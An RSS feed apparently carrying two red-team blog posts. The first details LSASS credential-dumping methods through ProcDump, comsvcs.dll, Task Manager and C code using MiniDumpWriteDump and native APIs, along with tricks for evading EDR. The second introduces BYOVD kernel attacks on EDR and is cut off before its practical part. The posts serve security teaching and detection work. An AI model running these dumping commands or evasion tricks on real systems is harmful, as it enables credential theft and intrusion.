<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Usman Sikander on Medium]]></title>
        <description><![CDATA[Stories by Usman Sikander on Medium]]></description>
        <link>https://medium.com/@merasor07?source=rss-646da3734bc9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*IezQEeCrKJEkSCb7mdNmtA.jpeg</url>
            <title>Stories by Usman Sikander on Medium</title>
            <link>https://medium.com/@merasor07?source=rss-646da3734bc9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 21:06:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@merasor07/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Shadows of LSASS Dumping: Evasion Techniques and the Ongoing Struggle of EDR Solutions to Defend a…]]></title>
            <link>https://osintteam.blog/shadows-of-lsass-dumping-evasion-techniques-and-the-ongoing-struggle-of-edr-solutions-to-defend-a-6701f4d6856b?source=rss-646da3734bc9------2</link>
            <guid isPermaLink="false">https://medium.com/p/6701f4d6856b</guid>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[bypass]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[edr]]></category>
            <category><![CDATA[lsass]]></category>
            <dc:creator><![CDATA[Usman Sikander]]></dc:creator>
            <pubDate>Tue, 29 Apr 2025 11:33:13 GMT</pubDate>
            <atom:updated>2025-04-29T18:51:47.630Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Shadows of LSASS Dumping: Evasion Techniques and the Ongoing Struggle of EDR Solutions to Defend a Prime Attacker Target</strong></h3><p><strong>Blog Summary:</strong></p><p>In this blog, we delve deep into the significance of the Local Security Authority Subsystem Service (LSASS) as a high-value target for adversaries, red teamers, and penetration testers alike. Responsible for enforcing security policies, handling authentication, and storing sensitive credentials in memory, LSASS presents a lucrative opportunity for attackers seeking to escalate privileges or move laterally within a compromised environment.</p><p>We begin by exploring why LSASS is so critical, highlighting its role in Windows security architecture and its appeal as a target. The blog then categorizes and analyzes various tools and techniques used to dump LSASS memory, including:</p><p>· Microsoft-signed tools that can be misused for stealthy access,</p><p>· Different Methods to dump lsass using Windows API calls</p><p>· Open-source utilities commonly leveraged in offensive operations,</p><p>· Custom-developed tools that exploit lesser-known methods to evade detection.</p><p>Finally, we examine real-world evasion tactics that continue to bypass even top-tier Endpoint Detection and Response (EDR) solutions. By dissecting the behavioral and technical weaknesses in modern security controls, we shed light on why LSASS dumping remains a persistent threat and a red-hot focus area in adversary emulation and detection engineering.</p><p><strong>Why LSASS Is a Prime Target for Attackers?</strong></p><p>The <strong>Local Security Authority Subsystem Service (LSASS)</strong> is a critical component of the Windows operating system responsible for enforcing security policies, handling user authentication, and managing sensitive information such as password hashes, Kerberos tickets, and access tokens. When a user logs into a Windows machine, LSASS securely stores the credentials in memory to facilitate seamless authentication processes across sessions and services. This centralized storage of authentication secrets makes LSASS a <strong>prime target for attackers</strong>, red teamers, and penetration testers seeking to extract credentials and gain unauthorized access to systems. By dumping LSASS memory, adversaries can retrieve plaintext passwords, NTLM hashes, and other authentication artifacts, enabling them to escalate privileges, perform lateral movement, or establish persistent access within an environment.</p><p><strong>How Do Attackers Use Them?</strong></p><p>The Local Security Authority Subsystem Service (LSASS) is a Windows process responsible for handling authentication, storing domain and local user credentials in memory during user logins. These credentials, including plaintext passwords, <strong>NTLM hashes</strong>, and <strong>Kerberos tickets</strong>, can be extracted if an attacker gains the necessary privileges on an endpoint. Accessing LSASS memory allows adversaries to harvest valuable credentials for lateral movement, privilege escalation, and domain dominance.</p><p>Instead of executing tools like <strong>Mimikatz</strong> directly on a compromised machine — which risks detection by antivirus or EDR — attackers increasingly opt to create LSASS memory dumps and exfiltrate them for offline analysis. This method is not only stealthier but also allows credential extraction to be performed outside the reach of endpoint protections.</p><p>Among the most well-known tools for credential extraction is <strong>Mimikatz</strong>, developed by Benjamin Delpy, which can directly read LSASS memory or parse dumped memory files to recover authentication data. Delpy’s research into Windows authentication internals has made Mimikatz a staple tool for red teamers and threat actors alike.</p><p><strong>Understanding the Methods Behind LSASS Dumping:</strong></p><p><strong>Microsoft-Signed Binaries and Tools</strong></p><p>Attackers often abuse trusted Microsoft-signed binaries to dump LSASS memory, exploiting the trust these binaries inherently have within the Windows ecosystem. This helps bypass security mechanisms like Application Whitelisting and some basic EDR heuristics.</p><p><strong>1)</strong> <strong>ProcDump With Process Name</strong></p><p>ProcDump is a Microsoft Sysinternals utility used to monitor and create memory dumps of processes. Attackers can use it to target LSASS by specifying the process name (<strong>lsass.exe</strong>).</p><p>procdump.exe -AcceptEula -ma lsass.exe lsass_dump.dmp</p><p>· -AcceptEula: Automatically accept the Microsoft Software License Terms.</p><p>· -ma: Writes a full memory dump.</p><p>· lsass.exe: Targets the LSASS process by name.</p><p>· lsass_dump.dmp: Output dump file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*k97ZYAwDz5Mv4WFZbCjKVw.png" /></figure><p><strong>Note: </strong>Most EDRs have built-in signatures and behavioral rules to flag ProcDump when targeting lsass.exe. Leaves clear forensic artifacts (file creation, command-line). EDRs are normally looking for <strong>.dmp</strong> extension on disk to detect the lsass dumping. ProcDump by default create <strong>.dmp</strong> extension user don’t have any control on it, we can change the name of file but not the extension which leads to detection.</p><p><strong>2)</strong> <strong>ProcDump With Process ID</strong></p><p>Instead of using the process name, you can supply the LSASS Process ID to ProcDump, which is more specific and sometimes used to evade name-based detection rules.</p><p>tasklist | findstr lsass.exe</p><p>procdump.exe -AcceptEula -ma 1444 lsass_dump.dmp</p><p>· -AcceptEula: Automatically accept the Microsoft Software License Terms.</p><p>· -ma: Writes a full memory dump.</p><p>· 1444: Lsass Process ID.</p><p>· lsass_dump.dmp: Output dump file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*f_l9uZ8bKjg1EGHInGF4Tg.png" /></figure><p><strong>Note: Slightly stealthier than using process name (avoids static rules matching on lsass.exe). May bypass simplistic command-line detections. </strong>But, Leaves clear forensic artifacts (file creation, command-line). EDRs are normally looking for <strong>.dmp</strong> extension on disk to detect the lsass dumping. ProcDump by default create <strong>.dmp</strong> extension user don’t have any control on it, we can change the name of file but not the extension which leads to detection.</p><p><strong>3)</strong> <strong>ProcDump With Clone Flag</strong></p><p>Modern Windows supports a /clone flag that clones a process and dumps the clone’s memory. This can bypass some EDR hooks by not directly attaching to the original LSASS process.</p><p>tasklist | findstr lsass.exe</p><p>procdump.exe -AcceptEula -r -ma 1444 lsass_dump.dmp</p><p>· -AcceptEula: Automatically accept the Microsoft Software License Terms.</p><p>· -r: Uses a clone to create a dump.</p><p>· -ma: Writes a full memory dump.</p><p>· 1444: Lsass Process ID.</p><p>· lsass_dump.dmp: Output dump file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*fPy9HTNxC6gFvSrPq_APqA.png" /></figure><p><strong>4)</strong> <strong>Task Manager</strong></p><p>Task Manager in Windows 10 and later allows users to create a dump file of LSASS via the GUI.</p><p><strong>Steps:</strong></p><p>· Press Ctrl + Shift + Esc to open Task Manager.</p><p>· Go to the “Details” tab.</p><p>· Locate lsass.exe.</p><p>· Right-click → “Create dump file”.</p><p>·The dump will be written to %TEMP%\lsass.dmp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*h29zwyB-AkN5sORYo_ypaw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*Tuz_lD3xmnxrrSf4f0BMcw.png" /></figure><p><strong>Note: </strong>Requires interactive session and administrative rights. Modern EDRs are highly monitored task manager lsass dumping activities. Modern EDRs detect LSASS dump via Windows Event Tracing or File System Access. Leaves clear file path and dump artifact in %TEMP%. Mostly Suitable and still worth to try when you have interactive session during penetration testing or red teaming activities.</p><p><strong>5)</strong> <strong>Process Explorer</strong></p><p>Process Explorer is another Microsoft Sysinternals tool that provides detailed process information and allows for memory dumps via the GUI.</p><p><strong>Steps:</strong></p><p>· Run <strong>Process Explorer</strong> as administrator.</p><p>· Find lsass.exe in the process list.</p><p>· Right-click → <strong>“Create Dump”</strong> → <strong>“Create Full Dump”</strong>.</p><p>· Save the output .dmp file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*SKOAu8PDGzRzUN98RLrTLw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*1KiRP8003BS6Fzr2mKlLVQ.png" /></figure><p><strong>Note: </strong>Requires interactive session and administrative rights. Modern EDRs detect LSASS dump via Windows Event Tracing or File System Access. Leaves clear file path and dump artifact on disk. Mostly Suitable and still worth to try when you have interactive session during penetration testing or red teaming activities.</p><p><strong>6)</strong> <strong>Comsvcs.dll</strong></p><p><strong>comsvcs.dll</strong> is a signed Microsoft DLL that contains the <strong>MiniDump</strong> function, which can be invoked using rundll32.exe to dump LSASS memory. This technique is often abused because rundll32.exe is a trusted Windows binary.</p><p>rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump &lt;PID&gt; C:\Users\Public\lsass.dmp full</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*Q8PkCOi_UJsqYqho08zusg.png" /></figure><p><strong>Note: </strong>This method is favored in some red team scenarios due to its stealth and low signature footprint. However, newer EDRs are increasingly detecting its misuse. Command-line arguments are often logged and analyzed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*pUqDZ8TFcvWKopChX53BFw.png" /></figure><p><strong>1)</strong> <strong>Process Hacker</strong></p><p>Process Hacker is a powerful open-source task manager and system monitoring tool often used by system administrators, security researchers, and unfortunately, also abused by adversaries. It provides deep visibility into running processes, services, memory usage, and allows direct interaction with system processes. User interaction is required to dump lsass. Most of the case less monitored by modern EDRs solutions and can be an effective during engagements.</p><p><strong>Note: </strong>GUI-based interaction may bypass basic command-line monitoring. Allows direct memory access using native APIs, bypassing some userland hooks.</p><p><strong>Custom Tool: Windows API calls to Dump Lsass Manual</strong></p><p><strong>1)</strong> <strong>MiniDumpWriteDump</strong></p><p>MiniDumpWriteDump is a Windows API function provided by DbgHelp.dll that allows you to create a snapshot (minidump) of a process’s memory. This snapshot can include a variety of information like stack traces, loaded modules, and memory segments. It’s commonly used by debuggers, crash reporters, and attackers to extract sensitive data from processes.</p><p><strong>Prototype:</strong></p><p>BOOL MiniDumpWriteDump (</p><p>HANDLE hProcess,</p><p>DWORD ProcessId,</p><p>HANDLE hFile,</p><p>MINIDUMP_TYPE DumpType,</p><p>PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,</p><p>PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,</p><p>PMINIDUMP_CALLBACK_INFORMATION CallbackParam</p><p>);</p><p><strong>Code Snippet:</strong></p><p>#include &lt;windows.h&gt;</p><p>#include &lt;dbghelp.h&gt;</p><p>#pragma comment(lib, “dbghelp.lib”)</p><p>void DumpProcess(HANDLE hProcess, DWORD pid) {</p><p>HANDLE hFile = CreateFileA(“dump.dmp”, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);</p><p>if (hFile != INVALID_HANDLE_VALUE) {</p><p>MiniDumpWriteDump (hProcess, pid, hFile, MiniDumpWithFullMemory, nullptr, nullptr, nullptr);</p><p>CloseHandle(hFile);</p><p>}</p><p>}</p><p><strong>Note:</strong> EDRs monitor MiniDumpWriteDump API calls and can detect this technique. Another drawback of this technique is it write dump directly on disk which can lead to detection but still threat actors are using this technique.</p><p><strong>2)</strong> <strong>MiniDumpWriteDump With </strong>FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE</p><p>This variation uses specific file attributes when creating the dump file:</p><p>· FILE_ATTRIBUTE_TEMPORARY: Tells the system the file is temporary.</p><p>· FILE_FLAG_DELETE_ON_CLOSE: Automatically deletes the file when the handle is closed.</p><p><strong>💀 Used by malware to avoid creating a persistent dump file on disk, or to evade EDRs by minimizing forensic footprint.</strong></p><p><strong>Code Snippet:</strong></p><p><strong>HANDLE hFile = CreateFileA(“temp.dmp”, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,</strong></p><p><strong>FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, NULL);</strong></p><p><strong>if (hFile != INVALID_HANDLE_VALUE) {</strong></p><p><strong>MiniDumpWriteDump (hProcess, pid, hFile, MiniDumpWithFullMemory, NULL, NULL, NULL);</strong></p><p><strong>// No need to delete the file — it’s deleted automatically on CloseHandle</strong></p><p><strong>CloseHandle(hFile);</strong></p><p><strong>}</strong></p><p><strong>Note:</strong> As compare to the above technique this will create dump in memory to avoid the on-disk detection but one of the drawbacks of using these parameters if the resources are not free then the operating system will write dump on disks instead of memory which can lead to detection and it gives less control over dumps in memory.</p><p><strong>3)</strong> <strong>MiniDumpWriteDump Callbacks</strong></p><p>MiniDumpWriteDump will dump lsass process memory to disk, however it’s possible to use <strong>MINIDUMP_CALLBACK_INFORMATION</strong> callbacks to create a process minidump and store it memory, where we could encrypt it before dropping to disk or exfiltrate it over the network.</p><p><strong>Callback Structure:</strong></p><p><strong>typedef struct _MINIDUMP_CALLBACK_INFORMATION {</strong></p><p><strong>MINIDUMP_CALLBACK_ROUTINE CallbackRoutine;</strong></p><p><strong>PVOID CallbackParam;</strong></p><p><strong>} MINIDUMP_CALLBACK_INFORMATION, *PMINIDUMP_CALLBACK_INFORMATION;</strong></p><p><strong>Code Snippet:</strong></p><p><strong>BOOL CALLBACK MiniDumpCallback(</strong></p><p><strong>PVOID CallbackParam,</strong></p><p><strong>const PMINIDUMP_CALLBACK_INPUT CallbackInput,</strong></p><p><strong>PMINIDUMP_CALLBACK_OUTPUT CallbackOutput</strong></p><p><strong>) {</strong></p><p><strong>if (CallbackInput-&gt;CallbackType == ModuleCallback) {</strong></p><p><strong>CallbackOutput-&gt;ModuleWriteFlags &amp;= ~ModuleWriteModule;</strong></p><p><strong>}</strong></p><p><strong>return TRUE;</strong></p><p><strong>}</strong></p><p><strong>MINIDUMP_CALLBACK_INFORMATION mci = {0};</strong></p><p><strong>mci.CallbackRoutine = (MINIDUMP_CALLBACK_ROUTINE)MiniDumpCallback;</strong></p><p><strong>mci.CallbackParam = nullptr;</strong></p><p><strong>MiniDumpWriteDump(hProcess, pid, hFile, MiniDumpWithFullMemory, NULL, NULL, &amp;mci);</strong></p><p><strong>Note:</strong> As compare to the above technique this will create dump in memory to avoid the on-disk detection and give full control over dumps in memory. Attacker can encrypt dumps before writing in disk to bypass on-disk detection or can exfiltrate dump directly on server without touching disk.</p><p><strong>4)</strong> <strong>Native API calls Dump</strong></p><p>Instead of using the documented MiniDumpWriteDump, we can invoke low-level NT Native API functions such as:</p><p>· NtQuerySystemInformation</p><p>· NtReadVirtualMemory</p><p>· ZwOpenProcess</p><p>· NtCreateFile</p><p>This provides more stealth, as these calls avoid instrumentation by security products that hook WinAPI functions. The attacker reads process memory manually and dumps it without using <strong>dbghelp.dll</strong>.</p><p><strong>Code Snippet:</strong></p><p><strong>HANDLE hProc;</strong></p><p><strong>CLIENT_ID cid = { (HANDLE)pid, 0 };</strong></p><p><strong>OBJECT_ATTRIBUTES objAttr = { sizeof(OBJECT_ATTRIBUTES) };</strong></p><p><strong>NtOpenProcess(&amp;hProc, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, &amp;objAttr, &amp;cid);</strong></p><p><strong>// Allocate buffer and read memory manually</strong></p><p><strong>BYTE buffer[4096];</strong></p><p><strong>SIZE_T bytesRead;</strong></p><p><strong>NtReadVirtualMemory(hProc, (PVOID)baseAddr, buffer, sizeof(buffer), &amp;bytesRead);</strong></p><p><strong>Note:</strong> This technique allows attacker to dump lsass memory using native Api calls instead of using well-known API MiniDumpWriteDump. Although MDWD Api under hood call the same undocumented API but when we use directly native call, we can avoid detection working based on hooking in <strong>kernel32.dll and dbghelp.dll</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*JcOkX_jq4IqvcXoCJcubrQ.png" /></figure><p><strong>Evasion Tactics and EDR struggle</strong></p><p><strong>1)</strong> <strong>System Informer</strong></p><p>We explore a simple yet highly effective method for credential harvesting during internal penetration testing, leveraging an open-source utility called System Informer — formerly known as Process Hacker. The binary is digitally signed by <strong>Winsider Seminars &amp; Solutions INC</strong>, which makes it more trustworthy to endpoint defenses and less likely to trigger security alerts. This technique is ideal for internal penetration testers or red teams simulating insider threats. Unlike traditional methods that trigger EDR/XDR alerts (e.g., comsvcs.dll, procdump, or MiniDumpWriteDump API usage), System Informer blends in due to its signed binary and trusted behavior profile.</p><p><strong>Note:</strong> Under the hood this tool is using native dump technique. The benefit of using this tool it is signed by legitimate company and because of interactive most of the well-know EDRs vendors were not able to detect lsass dumping through it. This technique is effective during the engagements when you have interactive session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*sFq2RHhZHB7_u73rGlOrjw.png" /></figure><p><a href="https://www.linkedin.com/posts/usman-sikander13_redteam-penetrationtesting-edrevasion-activity-7317214999720923137-eUAc?utm_source=share&amp;utm_medium=member_desktop&amp;rcm=ACoAACeYBGoBBEBfpwg1jIdeBm6OKHJhO7OQSbs">#redteam #penetrationtesting #edrevasion #crowdstrikebypass #lsass... | Usman Sikander | 12 comments</a></p><p><strong>2)</strong> <strong>Lsass Cloning and Dump</strong></p><p>We discuss a stealthy method for dumping LSASS memory without triggering EDR alerts. Rather than interacting with the original LSASS process, the author <strong>forked a clone</strong> of the LSASS process, inheriting its memory access. By dumping the cloned process, the EDRs didn’t detect the action, successfully bypassing detection. This technique is especially useful in internal penetration tests where credential dumping is a goal, and EDRs are actively monitoring system activity. The method allows for undetected credential access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*VKMGCHMTEoItA4VQVc8d-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*vh9shLQfTftGZ2iOMW0vQg.png" /></figure><p><a href="https://www.linkedin.com/posts/usman-sikander13_redteam-penetrationtesting-edrevasion-activity-7315372879230001154-rkg_?utm_source=share&amp;utm_medium=member_desktop&amp;rcm=ACoAACeYBGoBBEBfpwg1jIdeBm6OKHJhO7OQSbs">#redteam #penetrationtesting #edrevasion #crowdstrikebypass #lsass... | Usman Sikander | 16 comments</a></p><p><strong>3)</strong> <strong>Microsoft own directory Dump</strong></p><p>When using Sysinternals 𝐩𝐫𝐨𝐜𝐝𝐮𝐦𝐩. 𝐞𝐱𝐞 (𝐬𝐢𝐠𝐧𝐞𝐝 𝐛𝐲 𝐌𝐢𝐜𝐫𝐨𝐬𝐨𝐟𝐭) to dump LSASS memory, Defender instantly detects and deletes the dump file. This happens because MDE actively watches for. 𝐝𝐦𝐩 file and command line execution.</p><p>🚀 𝐓𝐡𝐞 𝐄𝐯𝐚𝐬𝐢𝐨𝐧 𝐓𝐫𝐢𝐜𝐤</p><p>However, by writing the dump file inside Defender’s own directory using ProcDump, located at:</p><p>📂 𝐂:\𝐏𝐫𝐨𝐠𝐫𝐚𝐦 𝐅𝐢𝐥𝐞𝐬\𝐖𝐢𝐧𝐝𝐨𝐰𝐬 𝐃𝐞𝐟𝐞𝐧𝐝𝐞𝐫 𝐀𝐝𝐯𝐚𝐧𝐜𝐞𝐝 𝐓𝐡𝐫𝐞𝐚𝐭 𝐏𝐫𝐨𝐭𝐞𝐜𝐭𝐢𝐨𝐧\𝐩𝐚𝐧𝐝𝐚.𝐜𝐮.𝐝𝐦𝐩</p><p>Defender ignores the dump and does not scan or delete it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*Tn4FNXeOl0DKXGJqL22u0g.png" /></figure><p><a href="https://www.linkedin.com/posts/usman-sikander13_offensivesecurity-redteam-lsass-activity-7311374868711706624-v-y2?utm_source=share&amp;utm_medium=member_desktop&amp;rcm=ACoAACeYBGoBBEBfpwg1jIdeBm6OKHJhO7OQSbs">#offensivesecurity #redteam #lsass #sysinternals #cybersecurity | Usman Sikander | 19 comments</a></p><p><strong>Summary</strong></p><p>This article provides a comprehensive overview of the various methods used to dump the lsass.exe process for credential extraction. Since EDR solutions detect these actions in different ways, it’s crucial for Blue Team security professionals to understand these techniques to ensure effective detection and prevention.</p><p><strong>Author:</strong><br>Usman Sikander</p><p>Offensive Security Researcher</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6701f4d6856b" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/shadows-of-lsass-dumping-evasion-techniques-and-the-ongoing-struggle-of-edr-solutions-to-defend-a-6701f4d6856b">Shadows of LSASS Dumping: Evasion Techniques and the Ongoing Struggle of EDR Solutions to Defend a…</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BYOVD A Kernel Attack: Stealthy Threat to Endpoint Security]]></title>
            <link>https://systemweakness.com/byovd-a-kernel-attack-stealthy-threat-to-endpoint-security-ec809272e505?source=rss-646da3734bc9------2</link>
            <guid isPermaLink="false">https://medium.com/p/ec809272e505</guid>
            <category><![CDATA[edrterminate]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[byovd]]></category>
            <category><![CDATA[edrcallbacksremove]]></category>
            <category><![CDATA[malware-development]]></category>
            <dc:creator><![CDATA[Usman Sikander]]></dc:creator>
            <pubDate>Fri, 09 Aug 2024 14:09:20 GMT</pubDate>
            <atom:updated>2024-08-13T11:04:48.811Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction:</h3><p>The cybersecurity landscape is continually evolving, with adversaries employing increasingly sophisticated tactics to evade detection and compromise systems. One such technique gaining prominence is Bring Your Own Vulnerable Driver (BYOVD). This method leverages legitimate signed but vulnerable drivers to bypass security controls, granting attackers unparalleled access and control over compromised systems on kernel level.</p><p>In this blog post, we delve into the intricacies of BYOVD attacks, exploring how malicious actors exploit this technique to blind, terminate, and manipulate endpoint detection and response (EDR) solutions. We will dissect the mechanisms used to obtain NT Authority context and remove EDR callbacks, providing practical demonstrations of these attacks. Furthermore, we will explore evasion tactics to counteract both static and dynamic detection methods. By understanding the nuances of BYOVD and its implications, both red and blue teams can enhance their defensive and offensive capabilities in the ongoing battle for cybersecurity supremacy.</p><h4>Division of Blog:</h4><ol><li><strong>BYOVD Technique</strong></li><li><strong>DSE and Blocklisted driver in Windows</strong></li><li><strong>Loldrivers (community-driven project)</strong></li><li><strong>APT Campaigns used BYOVD</strong></li><li><strong>Understanding the EDR components</strong></li><li><strong>Arsenal Preparation and Practical Operations with vulnerable driver </strong>(EDR Blind, EDR Terminate, Nt-Authority Context, EDR Callbacks remove, Mimikatz Driver Loading, DSE bypass)</li><li><strong>Tactics of Evasion</strong></li></ol><p>Let’s embark on this journey to uncover the dangers posed by BYOVD and equip ourselves with the knowledge to mitigate its impact.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HTGWtp7L7DK8FwHX_uXmdw.jpeg" /><figcaption>BYOVD</figcaption></figure><h3>BYOVD Technique:</h3><p><strong>BYOVD, or Bring Your Own Vulnerable Driver, is a sophisticated attack technique where malicious actors leverage legitimate but vulnerable drivers to compromise system integrity.</strong> By exploiting these vulnerabilities, attackers can gain kernel-level access, bypassing traditional security measures. These drivers, often integral to system operations, provide a trusted entry point. Once compromised, attackers can manipulate system processes, steal sensitive data, establish persistent backdoors, or deploy ransomware. The insidious nature of BYOVD lies in its ability to evade detection, as these drivers are typically signed and trusted by the operating system.</p><h4>Driver:</h4><p><strong>Windows drivers operate in two distinct modes: user mode and kernel mode.</strong> User-mode drivers function within the confines of a specific application or process, offering limited system access. Examples include printer drivers that manage print jobs or graphics drivers that handle display output. Conversely, kernel-mode drivers execute at the core of the operating system, possessing unrestricted access to system resources. They are responsible for critical functions such as disk I/O, network communication, and hardware management. Kernel-mode drivers, due to their privileged status, are often targeted by attackers as they provide a direct pathway to system compromise.</p><p>To communicate with kernel-mode drivers, user-mode drivers typically employ <strong>Input/Output Control (IOCTL) codes</strong>. These are special control codes sent to a device driver to perform specific operations. The user-mode application initiates an IOCTL request, which is then forwarded to the kernel-mode driver for processing. The driver performs the requested operation and returns the results to the user-mode application. This mechanism allows for controlled and secure interaction between the two modes. It’s important to note that while user-mode drivers can interact with kernel-mode drivers, they operate within the constraints of their user-mode environment and do not have direct access to system-level resources.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*Ch-aOwnc5KM9VZ27.png" /><figcaption>user-mode and kernel-mode components</figcaption></figure><h3>Digital Signature Enforcement (DSE) and Blocklisted Drivers in Windows:</h3><p><strong>Digital Signature Enforcement (DSE)</strong> is a security feature implemented by Microsoft in Windows Vista and subsequent versions to enhance system integrity and protect against malicious software. It mandates that only drivers bearing valid digital signatures from trusted authorities can be loaded onto the system.</p><h4>How DSE Works:</h4><p>When a driver is installed, the operating system verifies its digital signature. If the signature is valid and matches the driver’s code, the driver is allowed to load. Conversely, if the signature is invalid, missing, or from an untrusted source, the driver installation is blocked.</p><p><strong>Blocklisted Driver: </strong>To further strengthen system security, Microsoft maintains a database of known malicious or harmful drivers. These drivers are added to a blocklist, preventing their installation and execution on Windows systems.</p><h4>How Blocklisted Drivers Work:</h4><p>When a driver is about to be installed, the operating system checks it against the blocklist. If a match is found, the installation is blocked, and an error message is displayed.</p><h3>Living Off The Land Drivers</h3><p>Living Off The Land Drivers is a curated list of Windows drivers used by adversaries to bypass security controls and carry out attacks. The project helps security professionals stay informed and mitigate potential threats.</p><p><a href="https://www.loldrivers.io/">LOLDrivers</a></p><h3>APTs Associated With BYOVD Technique</h3><p>Some notable vulnerable driver attacks reported in the first half of 2023. This list shows that BYOVD is widely used among threat actors, including APT and ransomware groups.</p><p><strong>January:</strong></p><ul><li>The threat actor Scattered Spider (UNC3944) exploits the iqvw64.sys driver with the vulnerability <a href="https://nvd.nist.gov/vuln/detail/CVE-2015-2291">CVE-2015–2291</a>. iqvw64.sys is an old Intel Ethernet diagnostics driver patched in 2015. (Reported by <a href="https://www.crowdstrike.com/blog/scattered-spider-attempts-to-avoid-detection-with-bring-your-own-vulnerable-driver-tactic/">CrowdStrike</a>)</li></ul><p><strong>February:</strong></p><ul><li>Attackers use malvertising to distribute malware and exploit a renamed version (Иисус.sys) of the PROCEXP152.sys driver. PROCEXP152.sys is a part of Process Explorer, the process management tool in Windows OS. (Reported by <a href="https://www.sentinelone.com/labs/malvirt-net-virtualization-thrives-in-malvertising-attacks/">SentinelOne</a>)</li><li>A threat actor distributes the Sliver toolkit using the Sunlogin remote desktop application and exploits the mhyprot2.sys driver. mhyprot2.sys is an anti-cheat driver for the popular video game Genshin Impact. (Reported by <a href="https://asec.ahnlab.com/en/47088/">AhnLab</a>)</li></ul><p><strong>March:</strong></p><ul><li>The UNC2970 APT group used the LIGHTSHOW tool to exploit ene.sys. ene.sys is a vulnerable driver provided by ENE Technology Inc and signed with a certificate issued by Ptolemy Tech Co. (Reported by <a href="https://www.mandiant.com/resources/blog/lightshift-and-lightshow">Mandiant</a>)</li></ul><p><strong>April:</strong></p><ul><li>Ransomware groups used the AuKill tool to exploit the vulnerable driver of Windows Process Explorer version 16.32. The renamed PROCEXP.SYS was dropped alongside the original PROCEXP152.SYS. (Reported by <a href="https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/">Sophos</a>)</li></ul><p><strong>May:</strong></p><ul><li>Earth Longzhi, a subgroup of APT41 or Winnti, used the SPHijacker tool to exploit a renamed version (mmmm.sys) of the vulnerable zamguard64.sys driver. zamguard64.sys is used by the security software Zemana Anti-Malware. (Reported by <a href="https://www.trendmicro.com/en_us/research/23/e/attack-on-security-titans-earth-longzhi-returns-with-new-tricks.html">TrendMicro</a>)</li></ul><p><strong>June:</strong></p><ul><li>The BlackCat ransomware group used the spyboy Terminator tool to exploit the zamguard64.sys/zam64.sys driver. (Reported by CrowdStrike <a href="https://www.trendmicro.com/en_fi/research/23/f/malvertising-used-as-entry-vector-for-blackcat-actors-also-lever.html">here</a> and <a href="https://www.reddit.com/r/crowdstrike/comments/13wjrgn/20230531_situational_awareness_spyboy_defense/">here</a>)</li></ul><p><a href="https://www.sangfor.com/farsight-labs-threat-intelligence/cybersecurity/what-is-byovd-attacks-2023">What is BYOVD? - BYOVD Attacks in 2023</a></p><h3>Understanding EDR Components:</h3><p>To effectively analyze EDR tampering techniques, we must first understand the core components of an EDR solution.</p><h3>EDR Components:</h3><h4>User Space Components</h4><ul><li><strong>EDR Processes:</strong> These are the main executable files that run in the context of a protected system session.</li><li><strong>EDR User-Space Service:</strong> This service handles communication and coordination between different EDR components.</li><li><strong>EDR Registry Configuration:</strong> Contains settings, configurations, and collected data used by the EDR.</li></ul><h4>Kernel Space Components</h4><ul><li><strong>EDR Callback Objects:</strong> These objects are registered within the operating system to receive notifications about specific events.</li><li><strong>EDR Filter/Minifilter Drivers:</strong> These drivers intercept system calls and file system operations to monitor for malicious activities.</li></ul><h3>Arsenal Preparation and Operations With Vulnerable Drivers:</h3><h4><strong>NT-Authority System Context:</strong></h4><p>In first stage, we rebuild and 